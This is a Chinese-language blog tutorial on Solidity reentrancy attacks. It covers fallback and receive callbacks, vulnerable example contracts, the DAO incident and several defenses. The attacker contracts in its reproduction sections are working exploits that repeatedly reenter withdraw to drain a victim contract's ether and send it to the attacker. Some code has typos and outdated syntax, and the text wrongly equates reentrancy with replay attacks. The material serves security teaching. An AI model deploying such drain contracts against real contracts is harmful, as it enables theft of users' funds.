01.重入攻击_1
2023-06-23 20:37:30 # 00.security

重入攻击

重入攻击叫做:Reentrancy attack或者replay attack。顾名思义,就是再次进入、再次执行的攻击。

简介

solidity文档对重入的解释:任何从合约 A 到合约 B 的交互、任何从合约 A 到合约 B 的以太币转移,都会将控制权交给合约 B。 这使得合约 B 能够在交互结束前回调 A 中的代码。

简单来说,就是重复地调用同一个方法,达到一个目的:黑客利用自己攻击合约中的回调函数、多余的gas将合约中本不属于自己的 ETH 转走。

注意:一般情况下是用Fallback函数进行重入,其实receive函数也可以进行重入。后面的两个例子,分别尝试了这两个情况

发生重入攻击的条件

原理

  • 调用了外部的合约且该合约是不安全的
  • 外部合约的函数调用早于状态变量的修改

Fallback回调函数

声明方式如下:

1
2
3
fallback () external [payable]{}
//或
fallback (bytes calldata input) external [payable] returns (bytes memory output){}

功能:

  • 当合约中没有任何匹配的函数可调用时,调用fallback()函数。
  • 可用于接收ETH,接收之后就调用fallback函数,即调用(call, send, transfer)没有带任何数据时被自动调用。
  • 可以用于代理合约proxy contract。如果别人用sendtransfer方法发送ETH的话,gas会限制在2300

特点:

  • 一个合约至多含有一个fallback()函数
  • 没有function关键字
  • payable关键字是可选项,取决于该函数是否需要接收以太币
  • 该函数可代替receive()函数以实现合约接受转发以太币的功能
  • 可见性必须声明为external
  • 允许使用modifier修改器
  • 在gasLimit允许范围内可执行复杂操作

发送交易

transfer

  • 用法:接收方地址.transfer(发送ETH数额)
  • transfer()gas限制是2300,足够用于转账,但对方合约的fallback()receive()函数不能实现太复杂的逻辑。防止了重入攻击
  • transfer()如果转账失败,会自动revert(回滚交易)。

send

  • 用法:接收方地址.send(发送ETH数额)
  • send()gas限制是2300,足够用于转账,但对方合约的fallback()receive()函数不能实现太复杂的逻辑。防止了重入攻击
  • send()如果转账失败,不会revert
  • send()的返回值是bool,代表着转账成功或失败,需要额外代码处理一下。

call

  • 用法:接收方地址.call{value: 发送ETH数额}("")
  • call()没有gas限制,可以支持对方合约fallback()receive()函数实现复杂逻辑。存在重入攻击的可能性
  • call()如果转账失败,不会revert
  • call()的返回值是(bool, data),其中bool代表着转账成功或失败,需要额外代码处理一下。

例子复现

被攻击的合约:针对这个合约,攻击者可以不执行 balances[msg.sender] -= _weiToWithdraw;,利用 fallback 函数在攻击合约中将所有ETH转走。

攻击过程请按数字步骤进行浏览

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 假设每个人可以像合约里存储 ETH,每次取款至少为 1 ETH。
contract EtherStore {

uint256 public withdrawalLimit = 1 ether;//一次至少取款1ETH
mapping(address => uint256) public balances;

function depositFunds() public payable {//存钱
balances[msg.sender] += msg.value;
}

function withdrawFunds (uint256 _weiToWithdraw) public {
// 5. 因为攻击者的 balance 值没有变化,所以继续执行2.
require(balances[msg.sender] >= _weiToWithdraw);//够钱才可以取出
require(_weiToWithdraw <= withdrawalLimit);//至少取1ETH

// 2. 转钱
require(msg.sender.call.value(_weiToWithdraw)());
// 这行代码不会被执行
balances[msg.sender] -= _weiToWithdraw;
}
}

发起攻击的合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import "EtherStore.sol";

contract Attack {
EtherStore public etherStore;//这里需要传入被攻击的合约

// 这里的地址就是 EtherStore 的地址
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}

function pwnEtherStore() public payable {
require(msg.value >= 1 ether);//至少存1ETH来获得取钱的权限
etherStore.depositFunds.value(1 ether)();//存1ETH
// 1. 调用取款函数,取回1个 ETH
etherStore.withdrawFunds(1 ether);
}

// 3. EtherStore 完成转账后,自动调用 fallback,执行其中逻辑。
function () payable {
if (etherStore.balance > 1 ether) {
// 4. 继续调用取款函数,取回1个 ETH
etherStore.withdrawFunds(1 ether);
}
}
}

Remix复现

(1)部署EtherBank.sol合约

(2)一般用户进行存钱

(3)查看余额

(4)部署攻击合约

(5)发起攻击

(6)攻击成功

受害者:EtherBank.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";//使用openzeppelin的modifier可防止重入
import "hardhat/console.sol";//为了在控制台打印输出

contract EtherBank is ReentrancyGuard {//受害者

using Address for address payable;
mapping(address => uint) public balances;

function deposit() external payable {
balances[msg.sender] += msg.value;
}

function withdraw() external {
console.log("Begin withdraw");
require(balances[msg.sender] > 0, "Withdrawl amount exceeds available balance.");

console.log("");
console.log("EtherBank balance: ", address(this).balance);
console.log("Attacker balance: ", balances[msg.sender]);
console.log("");
//下面两行是问题代码
payable(msg.sender).sendValue(balances[msg.sender]);
balances[msg.sender] = 0;

console.log("End withdraw");
}

function getBalance() external view returns (uint) {
return address(this).balance;
}
}

攻击者:Attacker.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "hardhat/console.sol";//为了在控制台打印输出

interface IEtherBank {
function deposit() external payable;
function withdraw() external;
}

contract Attacker {//攻击者
IEtherBank public immutable etherBank;
address private owner;

constructor(address etherBankAddress) {
etherBank = IEtherBank(etherBankAddress);
owner = msg.sender;
}

function attack() external payable onlyOwner {
etherBank.deposit{value: msg.value}();//调用attack的时候,先存一点钱,满足取款条件
etherBank.withdraw();
}

receive() external payable {
console.log("receive...");

if (address(etherBank).balance > 0) {//只有取完EtherBank中的钱才停止重入
console.log("reentering...");
etherBank.withdraw();
} else {
console.log("victim account drained");
payable(owner).transfer(address(this).balance);
}

}

function getBalance() external view returns (uint) {
return address(this).balance;
}

modifier onlyOwner() {
require(owner == msg.sender, "Only the owner can attack.");
_;
}
}

相关案例

2016 年 6 月 17 日,TheDAO 项目遭到了重入攻击,导致了 300 多万个以太币被从 TheDAO 资产池中分离出来,而攻击者利用 TheDAO 智能合约中的 splitDAO() 函数重复利用自己的 DAO 资产进行重入攻击,不断的从 TheDAO 项目的资产池中将 DAO 资产分离出来并转移到自己的账户中。

1
2
3
4
5
6
7
//Burn DAO Tokens
Transfer(msg.sender,0,balances[msg.sender]);
withdrawRewardFor(msg.sender);
totalSupply -= balances[msg.sender];//更新状态变量在转账操作之后
balances[msg.sender] = 0;
paidOut[msg.sender] = 0;
return true;

如何防范

  • 最简单的方式:使用更加安全的transfer、send代替call进行转账

  • 先赋值后转账:对withdraw 函数做如下更改

1
2
3
4
5
6
7
8
9
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
require(_weiToWithdraw <= withdrawalLimit);
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);

//这里改为先赋值,再转账,等于重入第二次的时候,攻击者账目上钱就是减少后的。
balances[msg.sender] -= _weiToWithdraw;
require(msg.sender.call.value(_weiToWithdraw)());
}
  • 利用共有变量进行限制

这个的原理是记录调用者的进出记录,检查有没有完整的执行函数逻辑。如果攻击者只有进记录,没有出记录,那么很有可能是在进行重入攻击。Openzeppelin使用的这个方法来防止重入攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;

abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;

uint256 private _status;

constructor() {
_status = _NOT_ENTERED;
}

modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;//设置状态为已经进入,重入require就会判断失败。成功防止了重入
_;
_status = _NOT_ENTERED;//设置状态为未进入。用户可再次调用方法
}
}

更加清晰的例子

1
2
3
4
5
6
7
8
9
10
11
bool reEntrancecyMutex = false;
function withdraw(uint256 amount) public{
require(!reEntrancecyMutex);
reEntrancecyMutex = true;//上锁
require(balances[msg.sender] >= amount);
require(this.balance >= amount);
if(msg.sender.call.value(amout)()){
balances[msg.sender] -= amount;
}
reEntrancecyMutex = false;//解锁
}
  • 禁止转账 Ether 到合约地址:因为合约可以通过回调函数来进行重入,禁止转账到合约地址,可以防止转账导致的合约重入。这里使用到了内联汇编
1
2
3
4
5
6
7
8
9
10
11
12
13
14
function withdraw() nonReentrant external {
require(balance[msg.sender] > 0, "Bank: no balance");
uint256 size;
address sender = msg.sender;
assembly {
size := extcodesize(sender)//extcodesize(sender):地址sender的代码大小
}
//需要地址代码大小为0,说明地址肯定就不是合约,只能是用户
require(size == 0, "Bank: cannot transfer to contract");
msg.sender.call{value: balance[msg.sender]}("");
totalDeposit -= balance[msg.sender];
balance[msg.sender] = 0;
}

这是使用纯python编写的solidity代码审计工具,不需要安装solc等其他环境,可一键安装。如图是BEC整数溢出漏洞检测出来的结果

其他

跨用户重入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mapping(address=>uint) private userBalances;

function transfer(address to,uint amount){
if(userBalances[msg.sender] >= amount){
userBalances[to] += amount;
userBalances[msg.sender] -= amount;
}
}

function withdrawBalance() public{
uint amountToWithdraw = userBalances[msg.sender];
(bool success,_) = msg.sender.call.value(amountToWithdraw);
require(success);
userBalances[msg.sender] = 0;
}

合约在收到eth的时候会触发receive或者fallback方法。用户调用withdraw提取之后,触发了这个方法,但是存储代币的那个目标合约里的userbalance此时还没归0,触发的receive或者fallback又调用了transfer方法向别的人进行转账。即:fallback或者receive中包含了withdraw和transfer方法

这会导致,黑客A重入,然后黑客A又把权益给了黑客B,黑客B拥有黑客A在合约中的钱。这时黑客B又可以进行重入……

Prev
2023-06-23 20:37:30 # 00.security
Next